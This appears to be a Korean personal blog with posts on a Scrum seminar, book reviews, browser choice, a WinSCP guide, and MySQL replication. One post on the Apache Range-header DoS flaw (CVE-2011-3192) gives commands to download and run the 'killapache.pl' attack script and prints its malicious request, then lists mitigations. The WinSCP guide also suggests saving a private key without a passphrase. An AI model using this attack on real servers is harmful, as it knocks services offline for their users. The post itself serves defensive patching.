비트앱센터에서 어제 저녁 “Scrum 네~ 이놈!” 이라는 제목으로 세미나가 있었다. 
아마도 제목을 보고 많이들 신청하지 않았을까?

서둘러 간다고 했지만 저녁시간이라 배고픔을 참지 못하고 버거킹에 들러서 약간 늦었다.
(참석하는 예의상 그러면 안되지만 참을 수 없는 허기 ㅋㅋ) 

강사분은 현업에서 오랫동안 해오신듯 했지만 어떤분인지는 잘 모르고  그냥 강사 약력을 보고 참석했다.
외국에서 스크럼과 관련한 몇가지의 인증을 획득한것을 보니 뭔가 다른 이야기가 있지않을까 하는 생각에서 참석했다.



주요한 내용)
1. 현업에서 경험한 많은 고민거리들에 대한 자신의 생각
2. 스크럼에 대한 설명
3. 스크럼을 적용하는 데 가장 중요한 것은 무엇인가

많은 좋은 이야기를 들었지만  스크럼만으로 모든것을 해결하려는 태도보다는 기존의 전통적인 방법론에 대한 이해와 사람과 프로젝트에 대한 이해가 필요하다는 이 그림이 강의의 핵심인것 같다. 



돌아오는 길에 나는 몇가지의 생각을 했다.

1) 예상보다 더 많은 자료를 보니 많은 준비를 하셨구나. 짝짝~
2) 주의 집중을 위해서 마술도 하는 준비성 깜놀. 짝짝~
3) 마지막에 보여준 '박이사와 박봄'은 대중의 기호를 무시한 듯 ㅋㅋ
 
처음에는 스크럼에 집중했지만 점차 시간이 지날수록 사람에 집중하게 되는 이야기를 하는데
나도 겪고 있는 이야기를 들어서인지 고개가 끄덕여지더라.

우리 주변에서 자꾸 이런 강의가 많아지는 것은 즐거운 일이다.  
세상이 점점 좋아지고 있다. 
벤처기업 육성정책, 소프트웨어 분리발주, 대기업참여 하한제, 소프트웨어 인력양성 등
이러니 저러니 말이 많지만 국가에서 소프트웨어 기업의 생존을 위해서 많은 노력을 하고 있는것을 알고 있습니다.
하지만 저는 이런방식이 정말 소프트웨어 산업발전을 이루는 좋은 방법인지는 의문입니다.

소프트웨어 기업의 경쟁력을 제고하는 일은, 외부의 도움만으로 이루어질수 없음에도 불구하고 여전히 대부분의 소프트웨어 산업진흥 정책은 기업을 보호하고 시장구조를 조정하기 위한 방향으로 이루어지고 있는것 같습니다.

제가 고민하는 부분은 소프트웨어 산업의 발전을 만들어가는 사람 자체에 대한 영역입니다. 소프트웨어 기업에서 일을하는 사람이 행복해하지 않는데, 그 산업의 발전이 긍적적인 결과를 얻기는 어렵겠죠. 따라서 우리는 사람을 행복하게 하는 요소를 다른 도메인의 산업이나 역사적 기록에서 분석해보고, 인간이 가진 행복에 대한 생각을 더듬어볼 필요가 있습니다. 다행스럽게도 최근의 소프트웨어 업계의 동향은 기술분야에서 그치지 않고, 인문학적인 접근을 중요시하는 풍토가 조성되고 있는것으로 느껴지고, 최근 일을하는 사람들과의 관계를 중시하는 애자일기법도 널리 퍼지고 있습니다.

저는 소프트웨어 산업발전을 위한 출발점을 "인간의 행복한 인생에 대한 고찰"에서 시작되어야 한다고 생각합니다.


얼마전 행복한 인생에 대한 서울대 최인철교수님의 강의 이야기를 전해들었습니다.
행복한 삶을 위해서 Joyful, Meaningful, Mindful 의 세가지 트라이앵글을 만족해야 한다는 것이 주요내용입니다.( http://nownflow.com/372)
그 외에 이전에 읽은 책들도 좋은 내용들이 있었으니 한번 읽어보셔도 좋겠네요.
- 하버드대학의 긍정심리학에 대한 이야기 '해피어' 리뷰(http://yes.imhappyo.com/330)
- 법정스님의 잠언집 "살아있는것은 다 행복하라"(http://yes.imhappyo.com/335)


Source) http://prezi.com/xgnwwbf5emzy/copy-of/


행복한 인생을 이루는 이 세가지 요소에 소프트웨어 개발을 여기에 대입해보면 Meaningful, Mindful 은 어느정도 만족할 수 있지만 Joyful은 심각한 수준이라고 생각됩니다. 때문에 소프트웨어 산업발전을 위해서 우선 소프트웨어 개발을 재미있게 만드는 것이 필요하지 않을까요?






치명적인 매력의 소유자, 깔대기, 노원구 공릉동을 지역구 기반으로 하는 17대 국회의원
나꼼수의 열혈팬들은 다들 누구를 이야기 하는지 아시죠?


저희 회사 직원들은 나꼼수의 열성청취자들입니다. 지난번 티셔츠 구매에 이어서, 이번에는 나꼼수 4인방의 책을 한꺼번에 구매했고, 그 중 저는 '달려라 정봉주' 를 먼저 읽었습니다



솔직히 이야기 하자면 작은 도움이라도 되고싶은 마음때문에 구매한 것이지, 내용에 큰 기대를 하지는 않았습니다. 
그런데 의외로 내용이 이해하기 쉽고, 계보정치와 교육시스템에 대한 생각도 엿볼수 있었으며, 책 중간중간에 깔때기가 있어서 읽는 재미를 더해줍니다.

이 책은 가볍고 유쾌 발랄한 정치이야기라는 컨셉에 맞게 다양한 현 정권의 이슈들(BBK, 부산저축은행, 삼화저축은행, 자원외교, 등록금등)에 대하여 대중의 눈높이에서 이야기 해주고 있습니다. 진정한 전문가란 어려운 문제를 남이 쉽게 이해할 수 있도록 전달할 수 있어야 한다는 것이 제 평소의 생각입니다. 그런 의미에서 볼 때, 이 책은 현 정권의 많은 꼼꼼한 이슈에 대해서 잘아는 전문가가 쓴 것이라고 이야기 할 수 있습니다. TV에서 이야기하는 BBK, 저축은행, 자원외교에 대한 쉬운 이해를 원하는 분들은 꼭 읽어보시기 바랍니다.

YES24 - http://www.yes24.com/24/goods/5912070



책을 읽고나서, 정치에 대한 냉소주의에서 나오는 투표불참으로 인한 피해는 고스란히 우리 자신에게 돌아오는 것을 명심하고, 우리 스스로 참여해서 바꾸어가는 문화를 만들어야 한다는 생각을 다시 다짐하게 되었습니다. 이것 하나만 보아도 좋은 도서임이 분명합니다. 

"쫄지말고 투표해!"

어제는 Agile Korea 컨퍼런스가 열렸습니다.

늦잠을 잔 덕분에 서둘러서 출발했지만 상암동은 내게 너무 먼 거리. 도착해서 들어가니 Ice Breaking 이 진행중이었습니다. 얼른 테이블의 종이를 챙기고 진행했습니다. 같이 참석한 분은 참석자들이 낄낄거리며 인사하는 모습을 보고 일번적 컨퍼런스와 다른 그 분위기에 좀 놀라는 모습이었습니다.



애자일의 첨병으로 활동하는 김창준님의 키노트는 많은 생각을 하게 했습니다.
애자일의 약점이라는 주제로 실제 프로젝트에서 저도 느끼고 있던 느낌들을 이야기하더군요.

1) 애자일은 사회적 측면이 중요하지만 신뢰를 구축하기 위해서 좋은 방법이 없다. 따라서 긍정심리학, 코칭등의 추가적인 준비가 필요하다. 애자일기법만으로는 부족하다.

2) 외부 팀과의 폐쇄적인 운영으로 인하여 팀 스스로 잘되고 있는것처럼 생각하기 쉽다. 번다운차트를 떨어뜨리는 것을 목표로 스프린트를 완성하는 단기피드백에 너무 치중하기보다는 외부와의 교류를 통해 팀의 단점을 들여다보고 개선해가야 한다. 애자일은 장기전이다.

3) 애자일은 사람에대한 도메인을 다루고 있다. 사람에 대한 도메인은 복합적 요소를 가진 영역이므로 베스트프랙티스를 맹목적으로 따르는것은  도움이 안되며, 유연성이 중요하다. 행복한 가정일수록 패턴이 다양하다는 연구도 있음.


외부에서 구경하기 힘든 여러가지 애자일사례를 만날 수 있었고, 특정 주관사가 아니라 많은 자원봉사자의 자발적인 참여로 만들어진 행사라서 더욱 뜻깊었네요 열심히 준비해주신 분들에게 감사를 드립니다.

<득템한 멋진 플래닝포커>
몇일전 컴퓨터를 잘모르는 사람 - (우리 아버님세대쯤의 PC지식 보유상태를 가진 이 사람을 A씨라고 하자)이 질문을 해 왔다.
A씨에게 문제를 차근차근 물어보니
"IE9에서 이 서비스는 정상적으로 지원되지 않습니다" 라는 메시지를 만났는데
그것이 무슨말인지 모르겠다는  이야기였다.

나는 IE9를 제거하고 IE8을 기본으로 사용하게 해주고,
서비스 공급자가 지금 사용하는 브라우저를 지원하지 않는다는 문제를 설명해주었다.
그리고 파이어폭스와 크롬을 추가로 설치해준 다음, 인터넷을 쓰는 다른 방법이 있다는것을 알려주었다.


잠시 빠른속도에 만족하며 쓰다가 십여분도 되기전에 음악감상을 할 수 없다는 이유로 A씨는 이걸로 어떻게 사용하냐고 나에게 반문했고, 나는 그냥 IE8을 기본으로 주로 사용하고 만약 문제가 생겨서 급하게 인터넷에 들어갈때에는 파피어폭스나 크롬을 사용하라고 말해주었다.

A씨의 문제를 해결해주고 돌아와서 좀 생각해보게 되었다.

사람들이 상품을 고를때 다양한 관점으로 이것저것 비교해보고 사는것처럼
브라우저를 선택하는 기준은 여러가지 관점이 있기 마련이다.

인터넷으로 사용할 수 있는 다양한 서비스에 장애가 없는 것이 최선일 수도 있고,
상황에 맞는 가장 빠른 브라우저로 인터넷을 하고 싶을 수도 있으며,
나에게 맞는 다양한 기능을 이것저것 추가하면서 사용하고 싶을 수 도 있다.

우리는 상품을 잘 알면 더 좋은 상품을 손해보지 않고 고를수 있다는 사실을 안다.
브라우저의 장단점을 비교해 볼 수 있는 나의 메인 웹브라우저는 파이어폭스이다.
회사의 직원들도 몇차례의 브라우저 비교를 통해서 이제는 파이어폭스를 대부분 사용하고 있다.
그런데, A씨 같은 경우에는 브라우저를 바꿀 수 있다는 것도 모른채 지낸다.

A씨에게도 웹브라우저를 선택할 자유를 찾아줘야 하는것 아닌가?

Source - http://goo.gl/dFxTJ

덧붙이며.
오늘 파이어폭스 사이트에 가보니 버전이 7.x 대로 다운로드 된다.
이전의 행보에 비추어 생각해보면 엄청난 속도로 버전을 갱신하고 있다.
왜그런지 모르지만 사용자 입장에서는 감사할뿐이다.
여전히 3.x대를 사용하는 나는 아래의 문구를 보고 새버전을 바로 설치했다.
결과는 대 만족.


Source : http://www.mozilla.or.kr/ko/



들어가며

메일함에 공개SW사용기와 관련해서 한통의 메일이 왔습니다. 공모한 글이 적으니 많은 참여를 바란다는 메일인데, 내용을 살펴보니 이번에는 데스크탑에서 사용하는 공개SW의 사용기를 공모하네요. 아무래도 서버용 사용되는 공개SW는 많지만, 데스크탑에서 사용하는 공개SW은 사용자가 적기 때문에 참여자가 적은가 봅니다. 블로그 포스팅도 안한지 오래되고 해서 저도 사용기 하나를 작성하기로 했습니다.

그 덕분에 제 PC에서 사용하고 있는 공개SW를 한번 쭈욱 둘러보게 되었죠.
Cygwin, Vim, FileZilla, WinSCP, Cobian, 7zip, nmap, XAMPP, Eclipse, Aptana, Putty, Firefox, Chrome, tutories SVN, Spring STS ..
후아~ 꽤 많은 공개SW 사용하고 있네요.

많은 SW들이 PC를 재설치할 때마다 지워지고 삭제되고를 반복하는 가운데, 여전 저의 데스탑에서 오랫동안 살아남았으며, 지금도 즐겨 사용하고있는 공개SW는 WinSCP가 아닐까 합니다. 오늘은 WinSCP를 한번 살펴보겠습니다.

WinSCP 소개


요 즘은 대부분의 리눅스 서버에서 보안상 취약한 telnet,ftp를 사용하지 않고 ssh 서버를 운영합니다. ssh는 암호화된 패킷을 송수신하기 때문에 보안상 유리하고, scp 를 통한 파일전송도 가능하기 때문에 대부분의 리눅스 서버에 기본으로 사용하고 있습니다.

CLI 환경을 사랑하는 파워유저들에게는 껌정화면에 흰글씨가 아름다워 보이겠지만, 초급자에게는 ssh 접속과 파일관리가 만만한 일이 아닙니다. 내 컴퓨터의 파일하나를 원격지 리눅스서버에 전송하는것도 큰일이죠.
이런 경우에 바로 WinSCP를 사용할 수 있습니다.



WinSCP는 윈도우환경에서 GUI환경으로 FTP, SSH, SFTP 를 사용가능한 클라이언트 프로그램으로서 저의 데스크탑에서 가장 유용하게 사용하는 공개SW입니다. WinSCP를 이용해서 윈도우 탐색기처럼 원격지 서버와 파일을 쉽게 송수신 할 수 있고, 원격지의 파일을 손쉽게 편집도 가능합니다.



설치하기

1) 브라우저로 http://winscp.net/eng/download.php 에 접속합니다
2) 맨 위쪽에서 최신버전의 ‘Installation package’ 를 클릭하여 파일을 다운로드 합니다
3) 다운로드 받은 파일을 클릭하여 일반적인 윈도우 프로그램 설치과정과 동일하게 설치합니다.

한글지원여부)
최신버전의 파일을 다운로드 받으시면 WinSCP의 한글 버전을 사용할 수 있습니다.
프로그램 설치 시작 시 “한국어” 를 선택할 수 있으며, 프로그램의 한국어 버전이 설치됩니다.

만약 설치 프로그램에서 “한국어”를 선택할 수 없다면,
먼저 영문 설치 버전을 설치한 다음 아래의 translation page로 가서
“Korean” 언어팩을 다운로드 받아서 WinSCP가 실행되는 디렉터리에 ZIP 압축 파일을 풉니다.
translation page : http://winscp.net/eng/translations.php


특징


WinSCP는 영어뿐 아니라 한글을 포함한 다국어를 지원하는 GUI기반의 공개SW로서
많은 특징을 가지고 있습니다. 이미지와 함께 WinSCP의 많은 특징들을 한가지씩 이야기 해보겠습니다.

1) WinSCP를 이용해서 드래그 앤 드롭으로 원격 서버에 파일을 송수신 할 수 있습니다.



2) 바탕화면에 바로가기 아이콘을 생성해서 원클릭으로 서버접속이 가능합니다.



3) SSH-1과 SSH-2를 통한 SFTP 및 SCP 프로토콜 지원. 기존 FTP 프로토콜을 지원합니다



4) 배치파일을 통한 스크립트 실행과 CLI를 지원합니다.



5) 원격지 디렉토리와 PC의 디렉토리 간 동기화를 지원합니다.



6) 자주 쓰는 편집기를 등록해서 서버의 파일을 바로 수정할 수 있습니다.



7) 암호 입력 방식과 공개 키 인증방식을 지원합니다.

 


8) Windows 탐색기 및 Norton Commander 형태의 인터페이스 지원




고급활용


1. 에디트플러스와 WinSCP를 이용한 원격지 서버의 파일 직접수정

EditPlus는 프로그램 편집기로서 아주 강력하지만 ssh 기능이 없으므로 작업하는 도중
원격지의 서버에 파일관련 명령을 실행하기에는 불편합니다. 텍스트 편집기에게 이것저것 다 요구하는것은 너무 많은것을 바라는 것이겠죠?

이때 EditPlus를 WinSCP와 함께 사용하면 원격지의 서버를 윈도우의 탐색기처럼 브라우징 할 수 있고, 서버의 파일을 직접 열어서 항상 사용하는 편집기로 빠르게 편집할 수 있습니다.
물론 텍스트편집기의 원격서버 접속기능을 이용할 수 도 있지만, WinSCP와 함께 사용하면 좀 더 직관적인 인터페이스를 제공하므로 초보자도 리눅스 서버에 쉽게 접속해서 파일 수정이 가능합니다.




2. 디렉토리 동기화


이 기능은 서버의 소스코드를 자신의 PC에 특정폴더와 동기하도록 설정한 다음, PC에서 소스코드를 수정하면 자동으로 원격서버에 반영되는 기능입니다.
자신의 PC안에 있는 파일을 수정하면 원격지에 자동으로 반영되기 때문에 마치 서버의 소스코드를 수정하는 것과 같은 효과가 있습니다.



3. 공개키 인증방식 사용

Putty를 설치하면 인증키를 생성하는 PuTTYgen 프로그램을 사용할 수 있습니다.
1) 프로그램을 실행시키고 ‘Generate’ 버튼을 누른 후 ‘마우스’를 움직이면 키가 생성됩니다.
2) ‘Save private key’ 버튼을 눌러서 파일로 저장했다가 나중에 WinSCP에서 사용합니다.
3) 비밀문구 없이 저장할지를 물어보는데 그냥 저장하겠다고 '확인'버튼을 누릅니다.
4) 붉은 사각형 부분을 긁어서 클립보드에 복사했다가, 원격서버의 /사용자홈/.ssh/authorized_keys 파일에 한 줄로 복사해넣습니다.
5) 아래 화면과 같이 저장한 개인키를 WinSCP 접속정보에 입력해 줍니다
6) 접속을 시도하면 공개키 기반의 인증을 사용하여 접속됩니다.


트러블슈팅


- UTF-8환경에서 한글이 깨어지는 경우에는, 로그인화면 > 환경 > 파일이름을 UTF-8 인코딩
이라고 표시된 부분을 '자동'에서 '사용'으로 변경하신 후 접속하시면 UTF-8 형식을 사용합니다.






참고자료 및 링크


WinSCP Manual - http://winscp.net/eng/docs/start
WinSCP 스크립트 명령실행 활용 - http://calmmass.tistory.com/49
WinSCP 디렉토리 동기화 - http://goo.gl/jZeFv
WinSCP User Manual - http://infotech.adelphi.edu/pdfs/WinSCP_usermanual.pdf


마치며

WinSCP 의 기능을 정리하면서 생각해보니, 진짜 필수적인 기능들을 많이 제공하는것을 새삼 알게되었습니다. 특히 디렉토리 동기화같은 기능은 상용 프로그램에서도 흔히 볼 수 없는 좋은 기능이고, 이런 좋은 SW를 공개한 개발자들에게 고마운 마음이 듭니다. 저도 공개SW를 사용하는 사용자의 입장에서가 아니라 실력을 좀 키워서 좋은 공개W를 만들어서 다같이 사용할 수 있었으면 좋겠네요.


얼마전 아파치 웹서버 무력화시킬 심각한 DoS 결함 발견 이라는 기사가 나왔습니다. 메일링 리스트를 보니 영향 받는 소프트웨어는
Apache 1.3.x 및 이전, Apache 2.2.19 이전 버전이라고 하니 현재의 아파치 웹서버 대부분이 해당되는 이슈입니다. 따라서 아파치 웹서버를 사용하는 국내의 서버관리자들, 그리고 아파치가 탑재된 각종 산업분야의 엔지니어들은 빠른 대응을 해야겠습니다. 저도 처리해야지 하다가 오늘에서야 시간이 나서 후다닥 해치웠습니다. 개략적인 내용과 조치방법을 정리했으니 유용하게 사용하시기 바랍니다.

Range 요청 취약점?

http는 헤더정보에 Range를 사용해서 콘텐츠의 일부만 요청할 수 있습니다 . 파일 이어받기 또는 p2p 등에서 파일의 일부만을 특정 서버에서 받고자 할 때, video 스트리밍, pdf 등의 다운로드가 사용합니다. 이번의 이슈는 이 http header 에 Range를 요청하는 취약점을 이용해서 아파치 웹서버에 DoS 공격이 가능하다는 것이죠

Range ?
Range: bytes= n-m
문서가 요구하는 부분적인 범위를 명시한다. 여러 개의 범위는 세미콜론으로 구분하여 나열한다. 만일 쉼표로 구별된 바이트 범위인 첫째 숫자가 없다면 범위는 문서의 끝에서부터 센다고 가정한다. 만일 둘째 숫자가 없다면 범위는 끝에서 바이트 n까지이다. 첫째 바이트는 바이트 0이다.


이 공격을 테스트하기 위해서 http://goo.gl/gKMYo 의 Apache Killer 스크립트를 다운로드 받았습니다.

cpan -i Parallel::ForkManager
wget http://static.hackersgarage.com/killapache.pl.hackersgarage.com
mv killapache.pl.hackersgarage.com killapache.pl

실행 권한 부여
chmod u+x killapache.pl

공격시도
perl killapache.pl example.com 50

killapache.pl 스크립트는 아래와 같은 Range 요청을 해당 웹서버에 보냅니다.

HEAD / HTTP/1.1
Host: 192.168.10.140
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-
16,5-17,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30,5-31,5-32,5-
33,5-34,5-35,5-36,5-37,5-38,5-39,5-40,5-41,5-42,5-43,5-44,5-45,5-46,5-47,5-48,5-49,5-
50,5-51,5-52,5-53,5-54,5-55,5-56,5-57,5-58,5-59,5-60,5-61,5-62,5-63,5-64,5-65,5-66,5-
67,5-68,5-69,5-70,5-71,5-72,5-73,5-74,5-75,5-76,5-77,5-78,5-79,5-80,5-81,5-82,5-83,5-
84,5-85,5-86,5-87,5-88,5-89,5-90,5-91,5-92,5-93,5-94,5-95,5-96,5-97,5-98,5-99,5-100,5-
101,5-102,5-103,5-104,5-105,5-106,5-107,5-108,5-109,5-110,5-111,5-112,5-113,5-114,5-
115,5-116,5-117,5-118,5-119,5-120,5-121,5-122,5-123,5-124,5-125,5-126,5-127,5-128,5-
129,5-130,5-131,5-132,5-133,5-134,5-135,5-136,5-137,5-138,5-139,5-140,5-141,5-142,5-
143,5-144,5-145,5-146,5-147,5-148,5-149,5-150,5-151,5-152,5-153,5-154,5-155,5-156,5-
157,5-158,5-159,5-160,5-161,5-162,5-163,5-164,5-165,5-166,5-167,5-168,5-169,5-170,5-
171,5-172,5-173,5-174,5-175,5-176,5-177,5-178,5-179,5-180,5-181,5-182,5-183,5-184,5-
185,5-186,5-187,5-188,5-189,5-190,5-191,5-192,5-193,5-194,5-195,5-196,5-197,5-198,5-
199,5-200,5-201,5-202,5-203,5-204,5-205,5-206,5-207,5-208,5-209,5-210,5-211,5-212,5-
213,5-214,5-215,5-216,5-217,5-218,5-219,5-220,5-221,5-222,5-223,5-224,5-225,5-226,5-
227,5-228,5-229,5-230,5-231,5-232,5-233,5-234,5-235,5-236,5-237,5-238,5-239,5-240,5-
241,5-242,5-243,5-244,5-245,5-246,5-247,5-248,5-249,5-250,5-251,5-252,5-253,5-254,5-
255,5-256,5-257,5-258,5-259,5-260,5-261,5-262,5-263,5-264,5-265,5-266,5-267,5-268,5-
269,5-270,5-271,5-272,5-273,5-274,5-275,5-276,5-277,5-278,5-279,5-280,5-281,5-282,5-
283,5-284,5-285,5-286,5-287,5-288,5-289,5-290,5-291,5-292,5-293,5-294,5-295,5-296,5-
297,5-298,5-299,5-300,5-301,

--CUT--

1016,5-1017,5-1018,5-1019,5-1020,5-1021,5-1022,5-1023,5-1024,5-1025,5-1026,5-1027,5-
1028,5-1029,5-1030,5-1031,5-1032,5-1033,5-1034,5-1035,5-1036,5-1037,5-1038,5-1039,5-
1040,5-1041,5-1042,5-1043,5-1044,5-1045,5-1046,5-1047,5-1048,5-1049,5-1050,5-1051,5-
1052,5-1053,5-1054,5-1055,5-1056,5-1057,5-1058,5-1059,5-1060,5-1061,5-1062,5-1063,5-
1064,5-1065,5-1066,5-1067,5-1068,5-1069,5-1070,5-1071,5-1072,5-1073,5-1074,5-1075,5-
1076,5-1077,5-1078,5-1079,5-1080,5-1081,5-1082,5-1083,5-1084,5-1085,5-1086,5-1087,5-
1088,5-1089,5-1090,5-1091,5-1092,5-1093,5-1094,5-1095,5-1096,5-1097,5-1098,5-1099,5-
1100,5-1101,5-1102,5-1103,5-1104,5-1105,5-1106,5-1107,5-1108,5-1109,5-1110,5-1111,5-
1112,5-1113,5-1114,5-1115,5-1116,5-1117,5-1118,5-1119,5-1120,5-1121,5-1122,5-1123,5-
1124,5-1125,5-1126,5-1127,5-1128,5-1129,5-1130,5-1131,5-1132,5-1133,5-1134,5-1135,5-
1136,5-1137,5-1138,5-1139,5-1140,5-1141,5-1142,5-1143,5-1144,5-1145,5-1146,5-1147,5-
1148,5-1149,5-1150,5-1151,5-1152,5-1153,5-1154,5-1155,5-1156,5-1157,5-1158,5-1159,5-
1160,5-1161,5-1162,5-1163,5-1164,5-1165,5-1166,5-1167,5-1168,5-1169,5-1170,5-1171,5-
1172,5-1173,5-1174,5-1175,5-1176,5-1177,5-1178,5-1179,5-1180,5-1181,5-1182,5-1183,5-
1184,5-1185,5-1186,5-1187,5-1188,5-1189,5-1190,5-1191,5-1192,5-1193,5-1194,5-1195,5-
1196,5-1197,5-1198,5-1199,5-1200,5-1201,5-1202,5-1203,5-1204,5-1205,5-1206,5-1207,5-
1208,5-1209,5-1210,5-1211,5-1212,5-1213,5-1214,5-1215,5-1216,5-1217,5-1218,5-1219,5-
1220,5-1221,5-1222,5-1223,5-1224,5-1225,5-1226,5-1227,5-1228,5-1229,5-1230,5-1231,5-
1232,5-1233,5-1234,5-1235,5-1236,5-1237,5-1238,5-1239,5-1240,5-1241,5-1242,5-1243,5-
1244,5-1245,5-1246,5-1247,5-1248,5-1249,5-1250,5-1251,5-1252,5-1253,5-1254,5-1255,5-
1256,5-1257,5-1258,5-1259,5-1260,5-1261,5-1262,5-1263,5-1264,5-1265,5-1266,5-1267,5-
1268,5-1269,5-1270,5-1271,5-1272,5-1273,5-1274,5-1275,5-1276,5-1277,5-1278,5-1279,5-
1280,5-1281,5-1282,5-1283,5-1284,5-1285,5-1286,5-1287,5-1288,5-1289,5-1290,5-1291,5-
1292,5-1293,5-1294,5-1295,5-1296,5-1297,5-1298,5-1299
Accept-Encoding: gzip
Connection: close

그 결과 버그가 존재하는 아파치 웹서버의 경우에는 아래와 같이 시스템의 CPU, 메모리등의 자원을 엄청나게 소모하게 되고 결국 정상적인 서비스가 불가능하게 됩니다.




조치방법

이 보안 이슈에 대응하는 방법은 두가지가 있습니다. 현재 이슈가 해결된 버전이 이미 나와있기 때문에 가장 좋은 방법은 아파치 웹서비스 패키지를 최신으로 업데이트하는 것이 좋습니다, 하지만 운영중인 서비스에 대해서 재설치의 압박이 있는 경우도 있으니 그런 경우라면 웹서버 Range header의 조건을 검사하여 차단하는 방법이 있습니다.

1) Apache 2.2.20 업데이트(Apache 2.2.20 for CentOS 5.x)

소스 컴파일을 하시는 경우에는 홈페이지에서(http://httpd.apache.org/download.cgi) 최신 소스코드를 다운받아 설치하시기 바랍니다. 저는 CentOS 5.5 를 사용하는데 아직 yum repository 에는 최신의 아파치 rpm이 없기 때문에 다른곳을 이용해서 설치했습니다.

Yum repository 추가(자신의 환경에 맞는 repository를 추가해 줍니다)
i386 :
rpm -ihv http://centos.alt.ru/repository/centos/5/i386/centalt-release-5-3.noarch.rpm

x86_64:
rpm -ihv http://centos.alt.ru/repository/centos/5/x86_64/centalt-release-5-3.noarch.rpm

설치된 Repository 확인
yum repolist

아파치 버전 확인
yum --enablerepo=CentALT list httpd

아파치 업데이트
yum --enablerepo=CentALT install httpd

웹서버 재시작
service httpd restart


2) http header의 Range 요청을 검사해서 차단하는 방법

대부분 정상적인 Range 요청시 필드가 5개 이상은 넘지 않기 때문에 5개를 넘는 Range 요청이 있다면 Range 요청은 리셋하는 방법입니다. 웹서버 환경설정 파일을 아래와 같이 새로 추가합니다.(rpm으로 설치했다면 /etc/httpd/conf.d/ 안에 생성)

/etc/httpd/conf.d/range-CVE-2011-3192.conf 파일의 내용

# Drop the Range header when more than 5 ranges.
# CVE-2011-3192
SetEnvIf Range (?:,.*?){5,5} bad-range=1
RequestHeader unset Range env=bad-range

# We always drop Request-Range; as this is a legacy
# dating back to MSIE3 and Netscape 2 and 3.
RequestHeader unset Request-Range

웹서버 재시작
service httpd restart


CVE 자료(http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192) 를 보니 8/19에 접수된 이슈인데 8/30 이슈가 해결된 아파치 2.2.20 버전이 나왔습니다. 이번 일을 통해서 다시한번 오픈소스SW의 보안에 대한 빠른 대응을 느끼게 됩니다. SW를 개발하는 입장에서 보면 아파치정도의 세계시장 점유율을 가진 소프트웨어가 이렇게 빠르게 대응하는 것이 가능할까하는 의문이 듭니다. 이것이 오픈소스SW의 힘이겠죠  :-)


참고 자료


이번에 읽은 책은 전세계의 분쟁에 대해서 다루고 있는 김영미 PD의 "세계는 왜 싸우는가" 입니다. 

세계의 정세에 대해사 별다른 관심없이 지내온 저로서는 또 다른 이야기를 알게 되어서 즐거웠지만, 책의 내용은 세계 강대국의 욕심때문에 전쟁을 겪는 여러나라의 슬픈 이야기입니다.


작가는 분쟁지역을 십년간 분쟁지역의 다큐멘터리를 제작해온 PD인데, 주요 작품은 <동티모르 푸른 천사>(2000), <부르카를 벗은 여인들>(2002), <일촉즉발, 이라크를 가다>(2003), <파병, 100일간의 기록, 자이툰 부대>(2004), <이라크 파병, 그 머나먼 길>(2004), <이슬람의 딸들>(2005), <조국은 왜 우리를 내버려 두는가?>(2006), <불타는 레바논>(2008), <미군들의 이라크>(2008), <히말라야 커피로드>(2010) 등이 있습니다. 


세계의 젊은이들이 각나라의 정세에 대해서 이야기할 수 있는데, 한국아이들은 그런것과 동떨어져 사는것을 느끼고, 자신의 아이에게 해주고 싶은 이야기를 정리한 메모를 모아서 책으로 발전하게 된 것입니다. 자식을 가진 엄마의 마음에서 한국의 아이들이 우물안 개구리로 자라지 않을까 싶은 생각에 출판한 책이죠.



난데없이 아름다운 여자사진이 나오니까 놀라셨죠? 이 사진은 전세계 유일의 여성병역의무가 있는 이스라엘의 10대 아이돌, 한국의 이효리 정도 되는 하달 오제리의 입대장면입니다. 책하고 무슨 상관이 있느냐하면, 저는 이 책을 보고 이스라엘이 왜 여자 아이돌 스타에게도 병역의 의무를 수행하도록 하게 되었는지 알게 되었습니다. 내용을 알고나니, 이스라엘이과 팔레스타인 양쪽 어느 한편을 들기가 어렵네요.


이스라엘과 팔레스타인 이외에도, 탈레반, 시아라, 체첸의 전사, 걸프전, 빈라덴, 동티모르, 기아의 소말리아, 납치왕국 콜롬비아 등 많은 주제들을 다루고 있습니다.

세계는 왜 싸우는가(201108)
View more presentations from Hyeongchae Kim.

세계는 이미 지구촌이라는 이름아래 활발한 비즈니스가 이루어지고 있죠. 옛말에 지피지기면 백전백승이라는 이야기가 있듯이, 상대와 비즈니스를 하려면 상대의 환경에 대해서 아는 것이 중요합니다. 하지만 세계가 싸우고 있는 이유와 원인은 너무도 복잡한 이해관계가 얽혀 있고, 우리는 그것을 쉽게 알 수 없습니다. 이 책은 어려운 분쟁의 원인들을 쉽게 설명하고 있어서. , 지구상에 일어나는 분쟁의 원인을 더 쉽게 이해할 수 있습니다. 세계의 다른나라의 분쟁에 대해 알고 싶다면 읽어보시기를 추천드립니다.

아래 광고는 제가 TV에서 보고는 이 책이 전달하려는 느낌과 같다고 생각한 내용입니다. 한번 재미로 보세요~


초코파이 광고 - 나는 존중합니다.

Source : MySQL-Replication-Tutorial, MySQL Conference and Expo

Replication?

MySQL Cluster가 동기화 (synchronous) 리플리케이션과을 수행하는것과는 다르게, MySQL은 단 방향, 즉 비동기 리플리케이션 (asynchronous replication)을 지원합니다. MySQL Replication은 하나의 서버가 마스터로 동작하고, 나머지 한 개 이상의 다른 서버들이 슬레이브로 동작하여 마스터의 Binlog를 이용하여 슬레이브가 복제를 수행하고, Relay Binlog에 기록하는 기술을 의미합니다. 즉, 마스터의 MySQL을 슬레이브가 똑같이 복사해서 가지고 있는것이죠.

MySQL Replication은 데이터 백업의 용도뿐만 아니라, 데이터베이스에 대한 입출력을 각서버에 나누에 수행시켜 부하를 분산시키거나, 여러개의 마스터를 이용한 고가용성의 확보등에 사용됩니다.


준비사항

마스터, 슬레이브에서 사용하는 MySQL의 버전을 확인하여 가능한 동일한 버전으로 일치시키는 것이 좋으며, 마스터보다는 슬레이브의 버전이 높아야 안정적인 작동을 보장합니다.
MySQL 이중화 상태에서 Replication Fail Bug 에 대한 최근의 자료(http://goo.gl/fSlxb)를 보면 PK가 없는 테이블의 Null값을 업데이트 하는 경우 Replication이 실패하는 경우가 있다고 하니, 버그가 해결된 최신버전을  업데이트한 후 사용하시기를 권고합니다.

CentOS 5.5 에서 MySQL 5.5.15 설치방법
1) Install Remi repository
